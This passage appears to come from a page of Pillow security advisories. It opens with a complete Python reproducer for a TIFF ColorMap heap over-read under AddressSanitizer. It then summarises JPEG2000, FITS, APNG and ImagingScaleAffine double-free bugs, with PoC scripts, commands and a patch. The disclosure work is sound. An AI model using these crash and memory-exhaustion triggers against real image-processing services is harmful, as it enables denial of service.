- colormap16: 5f38e0ead90b97949fb0c98c63f9c68d00ba9181db6631ecb8927376dcc75f4d - colormap8: fdb26d9135549ed44824901985086c5ee4f06515699ca3291e498c523935405c - colormapabsent: bd54979624f3ffb713342e0458caff9e17c477f940cda2f0960feebfabbc9556

Root cause and source references

- Pillow src/encode.c, lines 870–899, pinned revision: the ColorMap tuple must contain exactly 768 entries; a 1536-byte allocation is passed with a fixed stride of 256. The check does not reconcile that extent with BitsPerSample. - Pillow src/PIL/TiffImagePlugin.py, lines 1944–1991, pinned revision: save carries supplied tags into the libtiff encoder and sorts the tags, so sample depth is established before ColorMap. - libtiff tifdir.c, lines 441–448, pinned revision: TIFFTAGCOLORMAP computes the per-plane count as 1L << td->tdbitspersample and copies that many SHORTs from each pointer.

The reported boundary is Pillow's construction of a fixed-sized array for a native API whose required size depends on metadata; this does not establish a standalone libtiff defect for a correctly sized caller buffer.

Prior art and disclosure scope

Pillow PR #5148, merged December 28, 2020, is related TIFF metadata prior art, but its archived diff replaces a short-lived stack field-name pointer with the persistent literal "CustomField". That is a different field-name-lifetime fix, not this plane-size mismatch. The reviewed material does not establish an exact prior public report or fix for this root, and novelty is not asserted. This specific report remains NOTSENT; association with other observations is not a prior disclosure of it.

Reproduction instructions

Use an already reviewed, existing installation of the exact wheel above, an existing compatible macOS ARM64 CPython 3.11 interpreter, and an existing compatible Apple ASAN runtime. --package-path is the absolute directory containing PIL, not the PIL directory itself. The script does not install, download, build, patch, or submit anything. It checks selected key package files against the original installation's hashes and checks the loaded package/version; these checks are not a full installation attestation.

Save the complete Python block below as reproduce.py and run:

sh python3.11 -I -S -B reproduce.py \ --package-path /absolute/path/to/reviewed/site-packages \ --asan-runtime /absolute/path/to/reviewed/libclangrt.asanosxdynamic.dylib

Both arguments are required. The runtime must be loaded at child startup, not by late dlopen. Each child resolves asaninit, asanaddressispoisoned, and asanregionispoisoned in its actual process symbol table before importing Pillow or opening a fixture. Merely setting DYLDINSERTLIBRARIES is not accepted as proof of ASAN availability. A missing symbol or package mismatch prevents the operation.

Each of the three cases runs once in a separate child with a 30-second wall limit, 10-second hard CPU limit, core dumps disabled, and 1 MiB regular-file-size limit. The parent supplies a clean allowlisted environment, isolated Python startup (-I -S -B), an empty temporary working directory, no stdin, and a 128 KiB combined pipe-output cap. Timeout/output-cap handling kills the child's process group. These limits are containment measures, not a security sandbox. No TIFF is written to disk. Temporary directories are removed; raw diagnostics are never forwarded or persisted.

The compressed/base64 constants below are the unchanged original benign TIFF fixtures, with decompressed size and SHA-256 checks. There are no external fixture dependencies. The standalone script supplied with this description is byte-for-byte the same as this block.

Separate August 31, 2026 inline validation: the exact embedded standalone script passed all three fixed cases: one ASan READ of 131,072 bytes crossing a 1,536-byte allocation and two passing controls. Child guards and limits passed, with no timeout. This is additional bounded evidence, separate from earlier runs; no new build, install, full historical chain or older-version integration replay was performed.

Expected results from the standalone script

Cases run in order: colormap8, colormapabsent, colormap16. Every printed line should have guardpassed: true, withinlimits: true, and expectedobservation: true. The first two require successful saves and the expected retained sample-depth/ColorMap fields. The last requires ASAN exit 86 and the specific READ/extent/stack signatures, not merely any crash. Only the two controls inspect encoded metadata; the unsafe case never exports an encoded TIFF.

The parent exits 0 only if all three expectations match; 1 means a case did not match (including guard failure or a changed ASAN diagnostic), and 2 means parent setup failed. A failed guard, timeout, unrelated crash, or missing diagnostic is inconclusive, not evidence that the defect is absent. Do not bypass the ASAN guard to obtain an output TIFF.

Complete standalone reproducer

python import argparse import base64 import ctypes import hashlib import io import json import os from pathlib import Path import platform import resource import selectors import struct import subprocess import sys import tempfile import time import zlib

FIXTURES = {'colormap8': [1684, 'fdb26d9135549ed44824901985086c5ee4f06515699ca3291e498c523935405c', 'eNrz9NRi4GBgYOBmYGBkYWAEssAYic3EyAymQaqYoWzWBgYGNigbhAWh6iexMTCIIomLIZkjDmUzAbEMkhoHIJsBiCYxjIJRMApGwSgY2QAAPu0DiA=='], 'colormapabsent': [137, 'bd54979624f3ffb713342e0458caff9e17c477f940cda2f0960feebfabbc9556', 'eNrz9NRi4GBgYOBiYGBkYWAEssAYic3EyAymBYCYGcpmbWBgYIOyQVgQqr4NiEWRxMWQzBGHspmBWAZJDQOEBgDj8wKm'], 'colormap16': [1685, '5f38e0ead90b97949fb0c98c63f9c68d00ba9181db6631ecb8927376dcc75f4d', 'eNrz9NRi4GBgYOBmYGBkYWAEssAYic3EyAymBYCYGcpmbWBgYIOyQVgQqn4SGwODKJK4GJI54lA2MxDLIKlxALJBgpMYRsEoGAWjYBSMZACsEwB78wOS']} PACKAGEPINS = {'PIL/ImageFile.py': '983c4f35e0c51046d4c636998ec77000cd2da208870a03b205e104cd0b2df629', 'PIL/version.py': 'fe7d75d4019326aca24ae57d4ab190cd62ba1225b175051119cd61cd87e42b1d', 'PIL/init.py': '7361b6ad3878589affe5956e4a4da24d71398b0891fd3a8c15e9362217b4ca01', 'PIL/features.py': '14f904863b416914aaa6480735876ec31885b7272ee0d8d92b010c5b1b5e98f5', 'PIL/TiffTags.py': '766dea350424b9a2caab3513be794689403c2b7222cd038006f69cff08edb45d', 'PIL/TiffImagePlugin.py': '440b2a3a80b280d18cda3fc70d9fd206e2fa44e9897c9550f70b51395047b273', 'PIL/imaging.cpython-311-darwin.so': '6d09b1fb925779fff32b5b8a4c348a42c201d350d0e0fd8cdc00410b6779e596', 'PIL/Image.py': '04af3f2db7ffdd61e829fa7aa8f5481d394a0a4129a8fd8aa5b13908928fcd6d', 'PIL/.dylibs/libtiff.6.dylib': 'e8988717b7470394a47d5ccd343130796b24ee70b6d885d3818e0e0b53238be1', 'pillow-12.3.0.dist-info/WHEEL': 'de2586b77651a8bf1b7778c3609979713ebc901784a837fca80ed4969fc82e57', 'pillow-12.3.0.dist-info/METADATA': '8fc07146cab33ef7582361dab6eac596d340b03ec648f18217da7894f73838c8'} CASES = tuple(FIXTURES) WALLSECONDS = 30 FILELIMIT = 1024 1024 PIPELIMIT = 128 1024

def limits(): resource.setrlimit(resource.RLIMITCORE, (0, 0)) resource.setrlimit(resource.RLIMITCPU, (10, 10)) resource.setrlimit(resource.RLIMITFSIZE, (FILELIMIT, FILELIMIT))

def fixture(case): size, expectedhash, encoded = FIXTURES[case] decoder = zlib.decompressobj() data = decoder.decompress(base64.b64decode(encoded, validate=True), size + 1) if (len(data) != size or not decoder.eof or decoder.unuseddata or decoder.unconsumedtail or hashlib.sha256(data).hexdigest() != expectedhash): raise ValueError("fixture integrity check failed") return data

def field(data, wanted): if len(data) < 8 or data[:4] not in (b"II\0", b"MM\0"): raise ValueError("not classic TIFF") endian = "<" if data[:2] == b"II" else ">" directory = struct.unpackfrom(endian + "I", data, 4)[0] count = struct.unpackfrom(endian + "H", data, directory)[0] if directory + 2 + count 12 + 4 > len(data): raise ValueError("truncated directory") for number in range(count): offset = directory + 2 + number 12 tag, kind, length = struct.unpackfrom(endian + "HHI", data, offset) if tag != wanted: continue size = {1: 1, 2: 1, 3: 2, 4: 4, 7: 1}[kind] length start = offset + 8 if size <= 4 else struct.unpackfrom(endian + "I", data, offset + 8)[0] if start + size > len(data): raise ValueError("truncated field") return kind, length, data[start:start + size], endian return None

def checkedimagemodule(package): if (sys.implementation.name != "cpython" or sys.versioninfo[:2] != (3, 11) or sys.platform != "darwin" or platform.machine() != "arm64"): raise RuntimeError("requires macOS ARM64 CPython 3.11") for relative, expected in PACKAGEPINS.items(): path = (package / relative).resolve(strict=True) if not path.isrelativeto(package) or hashlib.sha256(path.readbytes()).hexdigest() != expected: raise RuntimeError("reviewed wheel file mismatch") processsymbols = ctypes.CDLL(None) for symbol in ("asaninit", "asanaddressispoisoned", "asanregionispoisoned"): getattr(processsymbols, symbol) sys.path.insert(0, str(package)) from PIL import Image, features if (Image.version != "12.3.0" or features.version("libtiff") != "4.7.1" or Path(Image.file).resolve() != package / "PIL/Image.py" or Path(Image.core.file).resolve() != package / "PIL/imaging.cpython-311-darwin.so"): raise RuntimeError("unexpected Pillow or libtiff") return Image

def emit(descriptor, message): os.write(descriptor, (json.dumps(message, sortkeys=True) + "\n").encode("ascii"))

def child(case, package): descriptor = os.dup(1) with open(os.devnull, "wb") as quiet: os.dup2(quiet.fileno(), 1) try: imagemodule = checkedimagemodule(package) data = fixture(case) with imagemodule.open(io.BytesIO(data)) as image: image.load() if image.size != (1, 1) or image.info.get("compression") != "packbits": raise ValueError("unexpected input geometry") bits = 8 if case == "colormap8" else 16 if image.tagv2[258] != (bits,): raise ValueError("unexpected sample width") if case == "colormapabsent": if 320 in image.tagv2: raise ValueError("unexpected ColorMap") elif image.tagv2[320] != (0,) 768: raise ValueError("unexpected ColorMap planes") emit(descriptor, {"ready": True}) with io.BytesIO() as output: image.save(output, format="TIFF") if case == "colormap16": emit(descriptor, {"unsafesavereturned": True}) return 1 encoded = output.getvalue() savedbits = field(encoded, 258) mapfield = field(encoded, 320) bitspreserved = (savedbits is not None and savedbits[:2] == (3, 1) and struct.unpack(savedbits[3] + "H", savedbits[2])[0] == bits) mappreserved = (mapfield is None if case == "colormapabsent" else mapfield is not None and mapfield[:2] == (3, 768) and mapfield[2] == bytes(1536)) emit(descriptor, {"controlpassed": bool(bitspreserved and mappreserved)}) return 0 except Exception: emit(descriptor, {"childfailed": True}) return 2 finally: os.close(descriptor)

def runcase(case, package, runtime): with tempfile.TemporaryDirectory(prefix="pillow-check-") as temporary: environment = { "PATH": "/usr/bin:/bin:/usr/sbin:/sbin", "HOME": temporary, "TMPDIR": temporary, "LCALL": "C", "DYLDINSERTLIBRARIES": str(runtime), "ASANOPTIONS": "detectleaks=0:haltonerror=1:abortonerror=0:exitcode=86:" "disablecoredump=1:symbolize=1:mallocfillbyte=165:" "maxmallocfillsize=1048576:logpath=stderr", } command = [sys.executable, "-I", "-S", "-B", str(Path(file).resolve()), "--package-path", str(package), "--asan-runtime", str(runtime), "--child", case] output = bytearray() diagnostics = bytearray() deadline = time.monotonic() + WALLSECONDS with subprocess.Popen(command, cwd=temporary, env=environment, stdin=subprocess.DEVNULL, stdout=subprocess.PIPE, stderr=subprocess.PIPE, preexecfn=limits, startnewsession=True) as process: bounded = True try: with selectors.DefaultSelector() as selector: selector.register(process.stdout, selectors.EVENTREAD, output) selector.register(process.stderr, selectors.EVENTREAD, diagnostics) while selector.getmap(): remaining = deadline - time.monotonic() if remaining <= 0: raise TimeoutError for key, events in selector.select(min(remaining, 0.25)): chunk = os.read(key.fileobj.fileno(), 8192) if not chunk: selector.unregister(key.fileobj) else: key.data.extend(chunk) if len(output) + len(diagnostics) > PIPELIMIT: raise BufferError process.wait(timeout=max(0.001, deadline - time.monotonic())) except (TimeoutError, BufferError, subprocess.TimeoutExpired): bounded = False try: os.killpg(process.pid, 9) except ProcessLookupError: pass process.wait() status = process.returncode try: messages = [json.loads(line) for line in output.splitlines()] except (ValueError, UnicodeError): messages = [] ready = bool(messages and messages[0] == {"ready": True}) if case == "colormap16": observed = bool(bounded and ready and status == 86 and len(messages) == 1 and b"AddressSanitizer: heap-buffer-overflow" in diagnostics and b"READ of size 131072" in diagnostics and b"0 bytes after 1536-byte region" in diagnostics and b"PyImagingLibTiffEncoderNew" in diagnostics and b"TIFFmemcpy" in diagnostics) else: observed = bool(bounded and ready and status == 0 and messages == [{"ready": True}, {"controlpassed": True}] and b"AddressSanitizer:" not in diagnostics) output.clear() diagnostics.clear() return {"case": case, "expectedobservation": observed, "guardpassed": ready, "withinlimits": bounded}

def main(): parser = argparse.ArgumentParser(description='Fixed ColorMap extent mismatch: controls first, ASAN-only trigger.') parser.addargument("--package-path", required=True, type=Path, help="reviewed existing installation root containing PIL") parser.addargument("--asan-runtime", required=True, type=Path, help="reviewed existing compatible ASAN dylib; never loaded late") parser.addargument("--child", choices=CASES, help=argparse.SUPPRESS) arguments = parser.parseargs() if arguments.child: limits() return child(arguments.child, arguments.packagepath.resolve()) try: package = arguments.packagepath.resolve(strict=True) runtime = arguments.asanruntime.resolve(strict=True) if not package.isdir() or not runtime.isfile(): raise ValueError("invalid existing paths") for case in CASES: fixture(case) results = [runcase(case, package, runtime) for case in CASES] except Exception: print(json.dumps({"setupfailed": True})) return 2 for result in results: print(json.dumps(result, sortkeys=True)) return 0 if all(result["expectedobservation"] for result in results) else 1

if name == "main": raise SystemExit(main())

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
Integer Overflow
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

libImaging/TiffDecode.c in Pillow before 6.2.2 has a TIFF decoding integer overflow, related to realloc.

1 / 4
Source: GitHub
First published (updated )
Severity
8.7
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact Pillow did not limit the amount of GZIP-compressed data read when decoding a FITS image, making it vulnerable to decompression bomb attacks. A specially crafted FITS file could cause unbounded memory consumption, leading to denial of service (OOM crash or severe performance degradation).

Patches The amount of data read is now limited to the necessary amount. Fixed in Pillow 12.2.0 (PR #9521).

Workarounds Avoid Pillow >= 10.3.0, < 12.2.0 Only open specific image formats, excluding FITS.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary src/libImaging/Jpeg2KDecode.c:853 accumulates totalcomponentwidth across every tile in a JPEG2000 image instead of recomputing it per tile. That accumulated value is then used in the tilebytes calculation at src/libImaging/Jpeg2KDecode.c:868, which can make the decoder grow state->buffer via realloc at src/libImaging/Jpeg2KDecode.c:876 up to roughly one full image's decompressed size even when each tile is small. A crafted tiled JPEG2000 file can therefore force substantially higher transient memory usage and trigger out-of-memory failures during decoding. Based on current evidence, the supported impact is denial of service, not memory corruption.

Details - Location: src/libImaging/Jpeg2KDecode.c:853 - Root cause: totalcomponentwidth is initialized only once before the tile loop and keeps growing across tiles. It is then used to derive tilebytes, so later tiles are treated as if they had the combined component width of all earlier tiles. - Dangerous operation: tilebytes is promoted into tileinfo.datasize, then state->buffer is grown with realloc at src/libImaging/Jpeg2KDecode.c:876. - Reachability: any attacker-controlled JPEG2000 image with many tiles reaches this path during normal Image.open(...).load() decoding.

PoC The attached helper script and testcase were used: exercisej2ktilerealloc.zip

Generate the testcase:

bash pythonexercisej2ktilerealloc.py make poc3664rgbatile1832.jp2 \ --size 3664 --tile 1832

Expected geometry from the helper:

- image size: 3664 x 3664 - mode: RGBA - tile size: 1832 x 1832 (2x2 tiles) - imagebytes=53699584 - uncapped RSS observed: - vulnerable build: maxrsskb=180264 - fixed comparison build: maxrsskb=138404

Load it with the current vulnerable build:

bash python exercisej2ktilerealloc.py load poc3664rgbatile1832.jp2

Load it again under a 160 MB address-space cap:

bash python exercisej2ktilerealloc.py load poc3664rgbatile1832.jp2 --limit-mb 160

Impact Conservative impact: denial of service through memory exhaustion during JPEG2000 decoding.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
Use After Free, Double Free
AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

============================================================================ Double free in ImagingScaleAffine on calloc failure via Image.transform Location: src/libImaging/Geometry.c:866 in ImagingScaleAffine() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================

There is a double free in Pillow's Image.transform() that crashes the process when an oversized transform runs out of memory. Instead of only raising MemoryError, Pillow frees the output image's memory once while handling the error and then again when the Python object is cleaned up. Anyone who can choose the output size of Image.transform() can trigger it, but only on a worker with a memory limit (a common hardening for image workers) or a 32-bit process. The result is a crash of the worker, plus corruption of its heap that has not been shown to be controllable.

The bug is in ImagingScaleAffine() in src/libImaging/Geometry.c (line 866). When its calloc() for the per-column lookup table of 4 × width bytes fails, it calls ImagingDelete(imOut). When the call comes from Image.transform(), imOut is the Imaging struct owned by the live Python ImagingCore output object. dealloc() in src/imaging.c later runs ImagingDelete() on the freed struct again, writing its mutex and refcount in freed memory and freeing the pixel blocks a second time. The path is reached with Transform.EXTENT, or Transform.AFFINE with a pure scale/translate matrix, under the default NEAREST resampling. A very wide, 1-row output size makes the lookup table the allocation that fails while the image itself still fits. On 64-bit Linux with default overcommit, that requires an address-space limit such as ulimit -v, uwsgi --limit-as or systemd LimitAS=. resize(), thumbnail() and rotate() are not affected. The attached reproducer runs on a stock build with a 1 GB limit: transform((300000000, 1), EXTENT) raises and catches MemoryError, then the process dies with SIGSEGV in free() called from dealloc(). A memory-checking build reports the same path as a heap use-after-free. The faulty line was inherited from PIL 1.1.7 in the original fork commit, so every Pillow release since 1.0 is affected. A patch is attached.

Details

ImagingScaleAffine() frees an image it does not own. On the one error path where its calloc() for the per-column lookup table fails, it calls ImagingDelete(imOut). When reached through Image.transform(), imOut is the Imaging struct held by a live Python ImagingCore object; that object's dealloc() later calls ImagingDelete() on the already-freed struct and frees its pixel blocks a second time.

Shortest demonstration on the stock build (the address-space limit stands in for ulimit -v / uwsgi --limit-as / systemd LimitAS= on a worker):

python import resource, gc from PIL import Image resource.setrlimit(resource.RLIMITAS, (1000000000,) 2) src = Image.new("L", (8, 8)) try: src.transform((300000000, 1), Image.Transform.EXTENT, (0, 0, 8, 8)) except MemoryError: pass # expected, and the process should carry on gc.collect() # instead: SIGSEGV in dealloc -> ImagingDelete -> free()

The 300 MB output image allocates; calloc(300000000, 4) (1.2 GB) does not. MemoryError is raised as intended, but the interpreter then dies with SIGSEGV, gdb showing free() ← memoryreturnblock/ImagingDestroyArray (src/libImaging/Storage.c:396,408) ← ImagingDelete (Storage.c:271) ← dealloc (src/imaging.c:188). An AddressSanitizer build of the same sources (with maxallocationsizemb used to make the calloc fail instead of an rlimit) reports heap-use-after-free in ImagingDelete src/libImaging/Storage.c:257 called from dealloc src/imaging.c:188, on a 128-byte region "freed by" ImagingDelete ← ImagingScaleAffine src/libImaging/Geometry.c:866 ← ImagingTransformAffine Geometry.c:1043 ← ImagingTransform Geometry.c:1135 ← transform src/imaging.c:2153, "previously allocated by" ImagingNewPrologueSubtype Storage.c:53 ← … ← new src/imaging.c:756.

Code path

Image.transform() creates the output image as an ordinary Python-owned image and then transforms into it:

python src/PIL/Image.py:3008…3021 im = new(self.mode, size, fillcolor) … im.transformer( (0, 0, size), self, method, data, resample, fillcolor is None )

transformer() rewrites Transform.EXTENT into an axis-aligned affine matrix (src/PIL/Image.py:3040-3046: data = (xs, 0, x0, 0, ys, y0), method = Transform.AFFINE) and calls self.im.transform(box, image.im, method, data, resample, fill) (Image.py:3117). resample defaults to Resampling.NEAREST (Image.py:2936).

In C, transform() passes its own image as the destination:

c / src/imaging.c:2153 / imOut = ImagingTransform( self->image, imagep->image, method, x0, y0, x1, y1, a, filter, fill );

ImagingTransformAffine() takes the scaling fast path because the filter is NEAREST and the matrix has no shear:

c / src/libImaging/Geometry.c:1035-1043 / if (filterid || imIn->type == IMAGINGTYPEI16) { return ImagingGenericTransform(…); } if (a[1] == 0 && a[3] == 0) { / Scaling / return ImagingScaleAffine(imOut, imIn, x0, y0, x1, y1, a, fill); }

and ImagingScaleAffine() allocates a table of imOut->xsize ints:

c / src/libImaging/Geometry.c:863-868 / / malloc check ok, uses calloc for overflow / xintab = (int )calloc(imOut->xsize, sizeof(int)); if (!xintab) { ImagingDelete(imOut); / <-- imOut belongs to the caller / return (Imaging)ImagingErrorMemoryError(); }

ImagingDelete() (src/libImaging/Storage.c:250-279) drops the refcount to 0, returns the pixel blocks to the arena / free()s them via im->destroy, and free(im). self->image in the ImagingCore object still points at the freed struct. transform() returns NULL, Image.transform() propagates MemoryError, the half-built output Image loses its last reference, and dealloc() (src/imaging.c:188) calls ImagingDelete(imagep->image) again: it locks im->mutex and decrements im->refcount inside freed memory, then walks im->blocks (already freed, typically reused by then) and frees every entry a second time. In the observed stock-build runs the freed blocks array had been overwritten, so free() receives a mangled pointer and the process segfaults; with other heap states it is a plain double free of a 300 MB block.

Every other error return in Geometry.c (ImagingErrorModeError, ImagingErrorMismatch, "bad filter number", "bad transform method") leaves imOut alone; line 866 is the only one that deletes it. The delete is only correct for the other caller, resize() (src/imaging.c:2026-2030), where imOut is a fresh ImagingNewDirty() temporary that nothing else references. The delete predates Pillow's git history: it came in with the PIL 1.1.7 import, 9a640e315715 ("Forking PIL", 2010-07-30), so every release since Pillow 1.0 is affected.

The output width is what decides whether the path is hit: the output image costs width × height × pixelsize bytes, the table an additional 4 × width. A very wide, 1-row output (300 000 000 × 1 "L": 300 MB image, 1.2 GB table) makes the table the allocation that fails. ImagingNewPrologueSubtype() caps xsize at INTMAX/4 - 1, so the table is at most ~2 GB.

Impact

Applications that let a user choose the output size of Image.transform() — Transform.EXTENT (crop-and-scale), Transform.AFFINE with a pure scale/translate matrix, or the ImageTransform.ExtentTransform/AffineTransform helpers, all with the default NEAREST resampling — can have an allocation failure turned into a use-after-free and double free inside the worker process instead of the MemoryError the API is meant to raise. resize(), thumbnail() and rotate() do not reach this path; Image.resize(..., NEAREST, box=...) goes through ImagingScaleAffine() but owns its output, and raises a clean MemoryError. The second precondition is that the output image itself allocates but the extra 4 × width bytes do not; on 64-bit Linux with default overcommit this requires an address-space limit on the process (ulimit -v, uwsgi --limit-as, systemd LimitAS=, an in-app setrlimit), which is a common hardening for image workers; 32-bit processes can reach it through ordinary address-space exhaustion. The demonstrated consequence is a crash of the process handling the request after MemoryError has already been raised and possibly handled. The second ImagingDelete() also writes into the freed 128-byte struct (mutex, refcount) and double-frees an attacker-sized block, which is heap corruption rather than a clean abort, but no control over the written data is shown.

Reproducing

Run repro (a self-contained Python script) from any directory. It uses the installed stock build, so nothing is rebuilt, and has no companion files. It runs the demonstration above in a child interpreter (python3 -c, taking WIDTH as an argument): the child disables core files, sets RLIMITAS to 1 GB (the kind of limit image workers are commonly given), creates an 8×8 "L" image, calls src.transform((WIDTH, 1), Image.Transform.EXTENT, (0, 0, 8, 8)) with the default NEAREST resampling, prints MemoryError caught if that raises, then runs gc.collect() and prints alive. EXTENT with NEAREST is a pure scale, so the call goes through ImagingScaleAffine(), which callocs a 4 × WIDTH-byte table in addition to the WIDTH-byte output image.

The script runs the child twice:

- Control: width 50 000 000. The 50 MB image and the 200 MB table both fit under the limit, and the transform succeeds, which shows the limit itself is harmless. - Attack: width 300 000 000. The 300 MB output image is allocated, but calloc(300000000, 4) (1.2 GB) fails. Pillow correctly raises MemoryError, and the child catches it. But ImagingScaleAffine() has already called ImagingDelete() on the output image it does not own. When the output image is released, it is freed again. The child prints MemoryError caught and then dies with SIGSEGV instead of printing alive.

If the attack child was killed by a signal and gdb is installed, the script runs the attack again under gdb and prints the backtrace. The crash is in free() ← memoryreturnblock/ImagingDestroyArray (Storage.c:396,408) ← ImagingDelete (Storage.c:271) ← dealloc (imaging.c:188). In other words, the Python object's destructor is deleting the already-freed struct a second time. The verdict does not depend on this step.

The last line is BUG when the control exits 0 and the attack prints MemoryError caught and then dies from a signal without printing alive. Otherwise it is OK. With the attached patch applied, the attack prints MemoryError caught, then alive, exits 0, and the script prints OK.

Suggested fix

ImagingScaleAffine() never owns imOut. The attached patch removes the ImagingDelete() at src/libImaging/Geometry.c:866 and makes the one caller that relied on it, resize() in src/imaging.c, clean up its own temporary, the same idiom gaussianblur()/unsharpmask() already use. This also fixes resize() passing a possible NULL from ImagingNewDirty() into ImagingTransform(), and leaking the temporary on the other ImagingTransform() error returns:

diff --- a/src/libImaging/Geometry.c +++ b/src/libImaging/Geometry.c @@ -863,7 +863,7 @@ ImagingScaleAffine( / malloc check ok, uses calloc for overflow / xintab = (int )calloc(imOut->xsize, sizeof(int)); if (!xintab) { - ImagingDelete(imOut); + / imOut is owned by the caller; don't delete it here / return (Imaging)ImagingErrorMemoryError(); } --- a/src/imaging.c +++ b/src/imaging.c @@ -2024,10 +2024,16 @@ resize(ImagingObject self, PyObject args) { a[5] = box[1]; imOut = ImagingNewDirty(imIn->mode, xsize, ysize); + if (!imOut) { + return NULL; + } - imOut = ImagingTransform( - imOut, imIn, IMAGINGTRANSFORMAFFINE, 0, 0, xsize, ysize, a, filter, 1 - ); + if (!ImagingTransform( + imOut, imIn, IMAGINGTRANSFORMAFFINE, 0, 0, xsize, ysize, a, filter, 1 + )) { + ImagingDelete(imOut); + return NULL; + } } else {

Every ImagingTransform() path returns the same imOut on success, so wrapping the original pointer in PyImagingNew() in resize() is unchanged behaviour. With the patch applied to a clean checkout and rebuilt, the reproducer prints OK and Image.resize(..., NEAREST, box=...) under the same limit raises a clean MemoryError.

The patch

Stop ImagingScaleAffine() deleting the caller-owned output image on calloc failure; make resize() free its own temporary instead

Applies to src/libImaging/Geometry.c at the commit above.

diff diff --git a/src/imaging.c b/src/imaging.c index 7e9c0e391..ac1873292 100644 --- a/src/imaging.c +++ b/src/imaging.c @@ -2024,10 +2024,16 @@ resize(ImagingObject self, PyObject args) { a[5] = box[1]; imOut = ImagingNewDirty(imIn->mode, xsize, ysize); + if (!imOut) { + return NULL; + } - imOut = ImagingTransform( - imOut, imIn, IMAGINGTRANSFORMAFFINE, 0, 0, xsize, ysize, a, filter, 1 - ); + if (!ImagingTransform( + imOut, imIn, IMAGINGTRANSFORMAFFINE, 0, 0, xsize, ysize, a, filter, 1 + )) { + ImagingDelete(imOut); + return NULL; + } } else { imOut = ImagingResample(imIn, xsize, ysize, filter, box); } diff --git a/src/libImaging/Geometry.c b/src/libImaging/Geometry.c index 1bf92e26e..2baf000a5 100644 --- a/src/libImaging/Geometry.c +++ b/src/libImaging/Geometry.c @@ -863,7 +863,7 @@ ImagingScaleAffine( / malloc check ok, uses calloc for overflow / xintab = (int )calloc(imOut->xsize, sizeof(int)); if (!xintab) { - ImagingDelete(imOut); + / imOut is owned by the caller; don't delete it here / return (Imaging)ImagingErrorMemoryError(); }

The reproducer

<details> <summary>Reproducer — <code>repro</code>, 2,064 bytes (click to open)</summary>

Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.

python #!/usr/bin/env python3 UAF/double free in ImagingScaleAffine() (src/libImaging/Geometry.c:866): on calloc() failure it ImagingDelete()s imOut, which for Image.transform() is the Imaging struct owned by the live Python output image; that image's dealloc then ImagingDelete()s it again. Stock /src build, no rebuild. A 1 GB RLIMITAS makes the 300 MB output image fit but the 1.2 GB 4width lookup table fail. Expected: MemoryError, process survives. import subprocess, sys, textwrap, signal

child = textwrap.dedent(''' import resource, gc, sys from PIL import Image resource.setrlimit(resource.RLIMITCORE, (0, 0)) resource.setrlimit(resource.RLIMITAS, (1000000000,) 2) w = int(sys.argv[1]) src = Image.new("L", (8, 8)) try: src.transform((w, 1), Image.Transform.EXTENT, (0, 0, 8, 8)) print("transform ok") except MemoryError: print("MemoryError caught") gc.collect() print("alive") ''')

def run(width): p = subprocess.run([sys.executable, "-u", "-c", child, str(width)], captureoutput=True, text=True, timeout=50) print(f"-- width={width}: rc={p.returncode}\n{p.stdout.rstrip()}") return p

ctrl = run(50000000) # 50 MB image + 200 MB table fit under the limit att = run(300000000) # 300 MB image fits, 1.2 GB table does not bug = (ctrl.returncode == 0 and "MemoryError caught" in att.stdout and "alive" not in att.stdout and att.returncode < 0) if att.returncode < 0: print("attack child killed by", signal.Signals(-att.returncode).name) import shutil if shutil.which("gdb"): # evidence only; verdict does not depend on it g = subprocess.run(["gdb", "-q", "-batch", "-ex", "run", "-ex", "bt 6", "--args", sys.executable, "-c", child, "300000000"], captureoutput=True, text=True, timeout=120) print("\n".join(l for l in g.stdout.splitlines() if l.startswith("#") or "signal" in l)) print("BUG" if bug else "OK") </details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

============================================================================ APNG background disposal allocates full canvas before decompression bomb check Location: src/PIL/PngImagePlugin.py:1000 in PngImageFile.seek() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================

A 126-byte animated PNG file makes Pillow's Image.open() allocate and fill memory sized by the image dimensions the file claims, before Pillow's built-in check for oversized images runs. A file claiming 22000×22000 pixels costs about 1.9 GB. Anyone who can get an application to open an image they supply, with default settings and no further calls such as load(), can cause a multi-gigabyte memory spike per file. If the claimed size exceeds the machine's free memory, the operating system kills the process outright.

The bug is in PngImageFile.seek() in src/PIL/PngImagePlugin.py (around line 1000). For any APNG, open() calls self.seek(0). When the first fcTL chunk requests OPBACKGROUND disposal, seek() calls Image.core.fill(self.mode, self.size) with the full IHDR size, which allocates and zero-fills width×height×4 bytes. OPPREVIOUS takes the same path, because frame 0 rewrites it to OPBACKGROUND. This all happens inside the plugin factory, so Image.open()'s decompressionbombcheck(im.size) only runs after the memory has been touched. A 1×1 frame rectangle passes the only checks on the way.

